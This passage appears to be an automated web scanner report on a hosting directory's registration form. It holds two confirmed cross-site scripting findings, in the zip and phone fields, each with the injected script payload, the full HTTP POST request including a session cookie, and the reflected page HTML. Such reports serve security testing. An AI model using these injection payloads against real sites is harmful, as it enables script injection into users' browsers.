(!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='D0E46F1E563A2C86E01F1EBE96F49B96C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='D0E46F1E563A2C865AF7D18A35FBA4486F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='D0E46F1E563A2C86C0B7FE2503D6A496C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='D0E46F1E563A2C86ACC3EBF6CDAB1F14C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='D0E46F1E563A2C86F87E09A9D40CBBD46F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='D0E46F1E563A2C86A440DA4CF563D92FC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='D0E46F1E563A2C86D89801D2D8F2552AC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='D0E46F1E563A2C86BC2BF4EB50A7842A6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='D0E46F1E563A2C86A8FD52E73629E2D7C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='D0E46F1E563A2C869C33A576F45925426F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='D0E46F1E563A2C866C34AD3A10C3C2FAC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='D0E46F1E563A2C8668341851AAC26602C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='D0E46F1E563A2C860045EF5CBAE05371C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='D0E46F1E563A2C86CAE1C4DECD89F26DC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='D0E46F1E563A2C867A3324A20B19A75EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='D0E46F1E563A2C8643758884CDFD54D3C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='D0E46F1E563A2C8617FC4051BCCD64396F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='D0E46F1E563A2C865D8AA5388931862F6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='D0E46F1E563A2C8603F82CCE61863C746F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 3
province POST 3
zip POST '"--></style></script><script>alert(0x001E29)</script>
country POST 225
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 561
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=3&province=3&zip='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001E29)%3c%2fscript%3e&country=225&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:38:21 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='2DFD5761645828D63FBD50E3BA4838AFC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='2DFD5761645828D625C968C78D6F711E6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='2DFD5761645828D62130FCB70BE7F1FDC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='2DFD5761645828D62E72A0228072779BC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='2DFD5761645828D613581C58C66E37396F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='2DFD5761645828D6CD56D304EF1E6F27C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='2DFD5761645828D67511294064542C45C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='2DFD5761645828D6D3D50A8A301389456F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='2DFD5761645828D6021B091E4B35BD35C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='2DFD5761645828D6DCDD5AFD7F868FCF6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='2DFD5761645828D696453B2CDC96D5F2C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='2DFD5761645828D641E301D52B1FC36FC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='2DFD5761645828D635E31494CF4A6F9BC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='2DFD5761645828D6C6E0543B7A20CB94C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='2DFD5761645828D66DDC5EDB943B0E15C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='2DFD5761645828D68D27974EF023F6DBC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='2DFD5761645828D65AC06376771FE8566F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='2DFD5761645828D6F91C9D32B703D8776F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='2DFD5761645828D6A838D3751B88C1786F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST '"--></style></script><script>alert(0x001E39)</script>
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 561
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=3&province=3&zip=3&country=225&phone='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001E39)%3c%2fscript%3e&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:38:34 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; 